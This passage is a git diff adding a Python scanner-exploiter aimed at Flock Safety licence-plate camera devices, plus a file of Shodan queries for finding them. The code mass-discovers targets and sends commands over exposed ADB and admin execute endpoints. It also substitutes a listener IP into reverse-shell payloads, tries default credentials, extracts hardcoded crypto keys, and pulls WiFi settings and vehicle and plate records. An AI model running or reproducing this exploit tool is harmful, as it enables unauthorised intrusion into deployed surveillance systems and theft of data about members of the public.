targets.append(result['ip_str']) + print(f"{Colors.GREEN}Found {len(results['matches'])} targets for {cve}{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}Warning for {cve}: {e}{Colors.END}") + if not targets: + fallback = [ + '"/api/v1/admin" port:443', '"/api/v1/system" port:443', + '"Falcon" "api" port:443', '"Sparrow" "api" port:443', + 'port:5555 "Android"', '"/api/v1/alpr"', + ] + print(f"{Colors.YELLOW}Trying fallback queries...{Colors.END}") + for q in fallback: + try: + for r in api.search(q, limit=30)['matches']: + targets.append(r['ip_str']) + except Exception: + pass + targets = list(set(targets)) + except ImportError: + print(f"{Colors.RED}Shodan library not installed. Run: pip install shodan{Colors.END}") + except Exception as e: + print(f"{Colors.RED}Shodan error: {e}{Colors.END}") + return targets + + # ── CVE scan/exploit methods (preserved exactly) ── + def exploit_cve_59403(self, target, path, payload): + results = [] + if 'adb' in str(payload).lower(): + for cmd in self.payloads['CVE-2025-59403']['adb_commands']: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(self.timeout) + sock.connect((target, 5555)) + sock.send(f"{cmd}\n".encode()) + response = sock.recv(4096).decode() + sock.close() + results.append({'cve': 'CVE-2025-59403', 'target': target, 'method': 'ADB', + 'command': cmd, 'output': response[:500], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}ADB Exploit Success on {target}: {cmd}{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}ADB exploit failed on {target}: {e}{Colors.END}") + else: + for cmd in self.payloads['CVE-2025-59403']['command_exec']: + if 'ATTACKER_IP' in cmd: + attacker_ip = input(f"{Colors.CYAN}Enter your listener IP for reverse shell: {Colors.END}") + cmd = cmd.replace('ATTACKER_IP', attacker_ip) + payload = {'command': cmd, 'cmd': cmd, 'action': 'exec', 'execute': cmd, 'payload': cmd} + url = f"http://{target}{path}" + try: + resp = requests.post(url, json=payload, timeout=self.timeout, verify=False) + if resp.status_code == 200: + results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path, + 'command': cmd, 'response': resp.text[:500], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}API Exploit Success on {target}: {cmd}{Colors.END}") + if 'root' in resp.text or 'uid=' in resp.text: + print(f"{Colors.RED}ROOT ACCESS GAINED{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}API exploit failed: {e}{Colors.END}") + return results + + def exploit_cve_59407(self, target, path, response_text): + results = [] + for pattern in self.payloads['CVE-2025-59407']['crypto_keys']: + if pattern in response_text: + kp = re.compile(f'{pattern}[A-Za-z0-9+/=]+') + for key in kp.findall(response_text): + results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path, + 'key_found': key[:100], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}Crypto key extracted from {target}{Colors.END}") + return results + + def exploit_cve_47818(self, target, path, credentials): + results = [] + u, p = credentials.split(':') + url = f"http://{target}{path}" + try: + resp = requests.get(url, auth=(u, p), timeout=self.timeout, verify=False) + if resp.status_code == 200: + for ep in ['/config', '/settings', '/wifi', '/network', '/status']: + try: + r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False) + if r2.status_code == 200: + results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': ep, + 'credentials': credentials, 'config_data': r2.text[:500], 'exploited': True}) + except Exception: + pass + except Exception: + pass + return results + + def exploit_cve_47823(self, target, path, credentials): + results = [] + u, p = credentials.split(':') + try: + resp = requests.get(f"http://{target}{path}", auth=(u, p), timeout=self.timeout, verify=False) + if resp.status_code == 200: + for ep in ['/vehicles', '/plates', '/camera', '/captures', '/database']: + try: + r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False) + if r2.status_code == 200: + results.append({'cve': 'CVE-2025-47823', 'target': target, 'path': ep, + 'credentials': credentials, 'alpr_data': r2.text[:500], 'exploited': True}) + except Exception: + pass + except Exception: + pass + return results + + def scan_and_exploit(self, target): + results = [] + for path in ['/api/v1/admin/execute', '/api/v1/admin/command', '/api/v1/system/exec']: + for payload in [{"cmd": "id"}, {"command": "whoami"}]: + try: + resp = requests.post(f"http://{target}{path}", json=payload, timeout=self.timeout, verify=False) + if resp.status_code == 200 and any(i in resp.text.lower() for i in ['uid=', 'root', 'executed']): + if self.exploit: + er = self.exploit_cve_59403(target, path, payload) + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path, + 'vulnerable': True, 'exploited': False}) + except Exception: + pass + for path in ['/api/v1/crypto/key', '/api/v1/keystore']: + try: + resp = requests.get(f"http://{target}{path}", timeout=self.timeout, verify=False) + if resp.status_code == 200: + for p2 in self.payloads['CVE-2025-59407']['crypto_keys']: + if p2 in resp.text: + if self.exploit: + er = self.exploit_cve_59407(target, path, resp.text) + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path, + 'vulnerable': True, 'exploited': False}) + break + except Exception: + pass + for cred in [('admin', 'admin'), ('root', 'root'), ('admin', 'password')]: + for path in ['/api/v1/hotspot/config', '/api/v1/wifi/credentials']: + try: + resp = requests.get(f"http://{target}{path}", auth=cred, timeout=self.timeout, verify=False) + if resp.status_code == 200: + if self.exploit: + er = self.exploit_cve_47818(target, path, f"{cred[0]}:{cred[1]}") + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': path, + 'credentials': f"{cred[0]}:{cred[1]}", + 'vulnerable': True, 'exploited': False}) + break + except Exception: + pass + return results + + def worker(self): + while not self.work_queue.empty(): + target = self.work_queue.get() + try: + results = self.scan_and_exploit(target) + if results: + with self.lock: + self.results.extend(results) + self.vulnerable_found += sum(1 for r in results if r.get('vulnerable', False)) + for r in results: + if r.get('exploited', False): + self.print_exploit_result(r) + elif r.get('vulnerable', False): + self.print_vulnerability(r) + self.total_scanned += 1 + if self.total_scanned % 5 == 0: + os.system('clear' if os.name == 'posix' else 'cls') + self.print_banner() + print(self.print_scanning_status()) + except Exception as e: + if self.verbose: + print(f"{Colors.RED}Error scanning {target}: {e}{Colors.END}") + finally: + self.work_queue.task_done() + + def print_scanning_status(self): + return f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SCAN STATUS{Colors.END} +------------------------------------------------------------- +Total Targets : {self.total_scanned} +Vulnerable : {self.vulnerable_found} +Exploited : {self.exploited} +Queue Size : {self.work_queue.qsize()} +Elapsed Time : {datetime.now().strftime('%H:%M:%S')} +------------------------------------------------------------- +{Colors.END}""" + + def print_exploit_result(self, result): + cve = result.get('cve', 'Unknown') + target = result.get('target', 'Unknown') + print(f""" +{Colors.RED}{Colors.BLINK}EXPLOIT SUCCESSFUL{Colors.END} +{Colors.CYAN}------------------------------------------------------------- +CVE: {cve} +Target: {target} +Method: {result.get('method', 'API')} +Command: {result.get('command', 'N/A')[:30]} +Output: {str(result.get('output', ''))[:40]} +------------------------------------------------------------- +{Colors.END}""") + + def print_vulnerability(self, result): + cve = result.get('cve', 'Unknown') + target = result.get('target', 'Unknown') + colors = {'CVE-2025-59403': Colors.RED, 'CVE-2025-59407': Colors.RED, + 'CVE-2025-47818': Colors.YELLOW, 'CVE-2025-47823': Colors.YELLOW} + color = colors.get(cve, Colors.END) + print(f""" +{color}------------------------------------------------------------- +VULNERABILITY FOUND +------------------------------------------------------------- +CVE: {cve} +Target: {target} +Path: {result.get('path', 'N/A')} +Credentials: {result.get('credentials', 'N/A')} +------------------------------------------------------------- +{Colors.END}""") + + def scan_network(self, targets): + if not targets: + print(f"{Colors.RED}No targets to scan{Colors.END}") + return + for t in targets: + self.work_queue.put(t.strip()) + print(f"{Colors.GREEN}Starting {'exploitation' if self.exploit else 'scanning'} with {self.threads} threads{Colors.END}") + print(f"{Colors.YELLOW}Press Ctrl+C to stop{Colors.END}") + threads = [] + for _ in range(self.threads): + t = threading.Thread(target=self.worker) + t.start() + threads.append(t) + try: + for t in threads: + t.join() + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}Stopping...{Colors.END}") + self.print_summary() + + def print_summary(self): + os.system('clear' if os.name == 'posix' else 'cls') + self.print_banner() + print(f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SCAN COMPLETE{Colors.END} +------------------------------------------------------------- +Total Scanned : {self.total_scanned} +Vulnerable : {self.vulnerable_found} +Exploited : {self.exploited} +------------------------------------------------------------- +{Colors.BOLD}Results by CVE{Colors.END} +------------------------------------------------------------- +{Colors.END}""") + grouped = {} + for r in self.results: + cve = r.get('cve', 'Unknown') + grouped.setdefault(cve, []).append(r) + for cve, rs in grouped.items(): + exploited = sum(1 for r in rs if r.get('exploited', False)) + vulnerable = sum(1 for r in rs if r.get('vulnerable', False)) + print(f""" +{Colors.BOLD}{cve}{Colors.END} + Exploited: {exploited} + Vulnerable: {vulnerable} + Examples:""") + for i, r in enumerate(rs[:3], 1): + if r.get('exploited', False): + print(f" {i}. {Colors.RED}{r.get('target', 'N/A')} - EXPLOITED{Colors.END}") + else: + print(f" {i}. {r.get('target', 'N/A')} - {r.get('path', 'N/A')}") + if self.output_file: + self.save_results() + + def save_results(self): + try: + with open(self.output_file, 'w') as f: + json.dump(self.results, f, indent=2) + print(f"\n{Colors.GREEN}Results saved to {self.output_file}{Colors.END}") + except Exception as e: + print(f"\n{Colors.RED}Failed to save results: {e}{Colors.END}") + + # ═══════════════════════════════════════════════════ + # INTERACTIVE MENU (extended) + # ═══════════════════════════════════════════════════ + + def generate_targets(self): + print(f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SELECT INPUT METHOD{Colors.END} +------------------------------------------------------------- + 1. Single IP + 2. IP Range (CIDR) + 3. From File (IPs list) + 4. Shodan Query (requires Shodan API) + 5. Falcon/Sparrow Signatures + 6. Flock Instance Discovery (scan subnet for fingerprints) + 7. Traffic Analysis (cloud vs local station) + 8. Traffic Tap — live monitor (requires scapy) + 9. Traffic Tap — analyze PCAP file + 0. Return +------------------------------------------------------------- +{Colors.END}""") + choice = input(f"{Colors.CYAN}Select option (1-9, 0): {Colors.END}").strip() + + # ── 6: Flock Instance Discovery ── + if choice == '6': + cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip() + if not cidr: + return [] + print(f"{Colors.YELLOW}Discovery mode does not use CVE scan queue.{Colors.END}") + self.run_discovery(cidr) + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] # back to menu + + # ── 7: Traffic Analysis ── + if choice == '7': + ip = input(f"{Colors.CYAN}Enter camera IP to analyze: {Colors.END}").strip() + if ip: + self.run_traffic_analysis(ip) + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] + + # ── 8: Traffic Tap (live) ── + if choice == '8': + if not HAVE_TAP: + print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}") + input(f"{Colors.CYAN}Press Enter…{Colors.END}") + return [] + iface = input(f"{Colors.CYAN}Interface (e.g., eth0): {Colors.END}").strip() + if not iface: + return [] + timeout_s = input(f"{Colors.CYAN}Capture duration in seconds (blank = unlimited): {Colors.END}").strip() + tap_out = input(f"{Colors.CYAN}Save report to file (blank = none): {Colors.END}").strip() + tap = FlockTrafficTap( + interface=iface, + verbose=self.verbose, + output_file=tap_out or None, + timeout=int(timeout_s) if timeout_s else None, + ) + tap.start() + tap.report() + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] + + # ── 9: Traffic Tap (pcap) ── + if choice == '9': + if not HAVE_TAP: + print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}") + input(f"{Colors.CYAN}Press Enter…{Colors.END}") + return [] + pcap_file = input(f"{Colors.CYAN}PCAP file path: {Colors.END}").strip() + if not pcap_file or not os.path.exists(pcap_file): + print(f"{Colors.RED}File not found: {pcap_file}{Colors.END}") + input(f"{Colors.CYAN}Press Enter…{Colors.END}") + return [] + tap_out = input(f"{Colors.CYAN}Save report (blank = none): {Colors.END}").strip() + tap = FlockTrafficTap( + pcap=pcap_file, + verbose=self.verbose, + output_file=tap_out or None, + ) + tap.start() + tap.report() + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] + + # ── Original options ── + targets = [] + if choice == '1': + ip = input(f"{Colors.CYAN}Enter IP: {Colors.END}").strip() + if ip: + targets.append(ip) + elif choice == '2': + cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip() + try: + import ipaddress + for ip in ipaddress.ip_network(cidr, strict=False).hosts(): + targets.append(str(ip)) + except Exception as e: + print(f"{Colors.RED}Invalid CIDR: {e}{Colors.END}") + elif choice == '3': + fn = input(f"{Colors.CYAN}Enter filename: {Colors.END}").strip() + try: + with open(fn) as f: + for line in f: + targets.append(line.strip()) + except Exception as e: + print(f"{Colors.RED}Error: {e}{Colors.END}") + elif choice == '4': + if not self.shodan_api_key: + self.shodan_api_key = input(f"{Colors.CYAN}Enter Shodan API key: {Colors.END}").strip() + if self.shodan_api_key: + targets = self.get_shodan_targets(self.shodan_api_key) + if targets: + print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}") + else: + print(f"{Colors.YELLOW}No targets found{Colors.END}") + else: + print(f"{Colors.RED}API key required{Colors.END}") + elif choice == '5': + print(f"\n{Colors.CYAN}Falcon/Sparrow Signatures:{Colors.END}") + print(" - HTTP Title: 'Falcon' or 'Sparrow'") + print(" - /api/v1/admin/execute") + print(" - /api/v1/system/exec") + print(" - Port 5555 (ADB)") + print(" - /api/v1/debug") + print(f"{Colors.YELLOW}Requires Shodan or pre-generated targets{Colors.END}") + elif choice == '0': + return [] + return targets + + def run(self): + self.print_banner() + if self.exploit: + print(f"{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODE ACTIVE{Colors.END}") + print(f"{Colors.YELLOW}This will execute commands on vulnerable targets{Colors.END}") + confirm = input(f"{Colors.RED}Are you sure? (yes/no): {Colors.END}") + if confirm.lower() != 'yes': + print(f"{Colors.YELLOW}Exiting{Colors.END}") + return + while True: + targets = self.generate_targets() + if not targets: + if input(f"{Colors.CYAN}Exit? (y/n): {Colors.END}").lower() == 'y': + break + continue + print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}") + if len(targets) > 100: + print(f"{Colors.YELLOW}Large scan — press Ctrl+C to cancel{Colors.END}") + self.scan_network(targets) + if input(f"{Colors.CYAN}Continue? (y/n): {Colors.END}").lower() != 'y': + break + + +def main(): + parser = argparse.ArgumentParser(description='FLOCK CVE Scanner + Discovery + Traffic Analysis') + parser.add_argument('-t', '--target', help='Single target IP') + parser.add_argument('-f', '--file', help='File with targets') + parser.add_argument('-o', '--output', help='Output file (JSON)') + parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') + parser.add_argument('-T', '--threads', type=int, default=10, help='Number of threads') + parser.add_argument('--timeout', type=int, default=5, help='Connection timeout') + parser.add_argument('--exploit', action='store_true', help='Enable exploitation') + parser.add_argument('--enrich', action='store_true', help='Enable enrichment modules (banners, cloud provider, telemetry, ADB deep, network map)') + parser.add_argument('--cve', help='Scan specific CVE only') + parser.add_argument('--discover', metavar='CIDR', help='Discover Flock instances in subnet (e.g. 192.168.1.0/24)') + parser.add_argument('--analyze-traffic', metavar='IP', help='Analyze data flow for a camera IP') + parser.add_argument('--tap-interface', metavar='IFACE', help='Traffic Tap: live capture interface') + parser.add_argument('--tap-pcap', metavar='FILE', help='Traffic Tap: PCAP file to analyze') + parser.add_argument('--tap-pipe', action='store_true', help='Traffic Tap: read from stdin') + parser.add_argument('--tap-output', metavar='FILE', help='Traffic Tap: save report to JSON') + + args = parser.parse_args() + + scanner = CVEExploiter( + verbose=args.verbose, + output_file=args.output, + threads=args.threads, + timeout=args.timeout, + exploit=args.exploit, + enrich=args.enrich, + ) + + # CLI shortcut for discovery + if args.discover: + scanner.run_discovery(args.discover) + if args.output: + scanner.save_results() + return + + # CLI shortcut for traffic analysis + if args.analyze_traffic: + scanner.run_traffic_analysis(args.analyze_traffic) + if args.output: + scanner.save_results() + return + + # CLI shortcut for Traffic Tap + if args.tap_interface or args.tap_pcap or args.tap_pipe: + if not HAVE_TAP: + print(f"{Colors.RED}Error: flock_tap.py not found. Run: pip install scapy{Colors.END}") + sys.exit(1) + tap = FlockTrafficTap( + interface=args.tap_interface, + pcap=args.tap_pcap, + pipe=args.tap_pipe, + verbose=args.verbose, + output_file=args.tap_output or args.output, + ) + tap.start() + tap.report() + if args.output: + # Save raw report too + rpt = tap.generate_report() + try: + with open(args.output, 'w') as f: + json.dump(rpt, f, indent=2) + print(f"{Colors.GREEN}Tap report saved to {args.output}{Colors.END}") + except Exception as e: + print(f"{Colors.RED}Error saving: {e}{Colors.END}") + return + + if args.target: + targets = [args.target] + scanner.scan_network(targets) + if args.output: + scanner.save_results() + elif args.file: + with open(args.file) as f: + targets = [line.strip() for line in f] + scanner.scan_network(targets) + if args.output: + scanner.save_results() + else: + scanner.run() + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}Scan interrupted{Colors.END}") + sys.exit(0) diff --git a/shodan_queries.py b/shodan_queries.py new file mode 100644 index 0000000..534a6bc --- /dev/null +++ b/shodan_queries.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +""" +shodan_queries.py - Generate Shodan queries for CVE-2025 vulnerabilities + Discovery +""" + +QUERIES = { + 'CVE-2025-59403': [ + 'title:"Falcon"', + 'title:"Sparrow"', + '"/api/v1/admin"', + '"/api/v1/system"', + '"/api/v1/debug"', + 'port:5555 "Android"', + '"Android Debug Bridge"', + 'port:5037 adb', + 'http.title:"ADB"', + '"Falcon" "api" port:443', + '"Sparrow" "api" port:443', + '"/api/v1/execute"', + '"/api/v1/command"', + ], + 'CVE-2025-59407': [ + '"Android" "v6.35.33"', + '"keystore" "hardcoded"', + '"crypto" "key" "Android"', + '"/api/v1/keystore"', + '"/api/v1/security"', + '"hardcoded_key"', + '"default_key"', + ], + 'CVE-2025-47818': [ + '"hotspot" "fallback"', + '"/api/v1/hotspot"', + '"default" "hotspot" "credentials"', + '"/api/v1/wifi"', + '"hotspot" "config"', + '"wifi" "credentials"', + ], + 'CVE-2025-47823': [ + '"ALPR" "v2.0"', + '"ALPR" "v2.1"', + '"ALPR" "v2.2"', + '"/api/v1/alpr"', + '"license plate" "system"', + '"LPR" "firmware"', + '"ALPR" "firmware"', + '"/alpr" "/api"', + ], + 'FLOCK_DISCOVERY': [ + 'title:"admin_page_template"', + '"admin_page_template.html"', + '"/onvif/device_service" Flock', + '"SpeedPourer" port:21', + '"FRP" "flock" port:7000', + '"M5NanoC6" "flock"', + '"flock" "ADB" port:5555', + 'ssl.cert.subject.cn:"*.flocksafety.com"', + 'ssl.cert.subject.cn:"*.ops.flocksafety.com"', + 'org:"Flock Safety"', + '"flock-hibiki"', + ], +} + +def generate_shodan_queries(): + """Generate combined Shodan queries""" + print("# CVE-2025 Vulnerability + Discovery Shodan Queries") + print("# ==================================================") + print() + for cve, queries in QUERIES.items(): + print(f"# {cve}") + print(" OR ".join(queries)) + print() + all_q = [] + for qs in QUERIES.values(): + all_q.extend(qs) + print("# ALL Queries Combined") + print(" OR ".join(all_q)) + +if __name__ == "__main__": + generate_shodan_queries()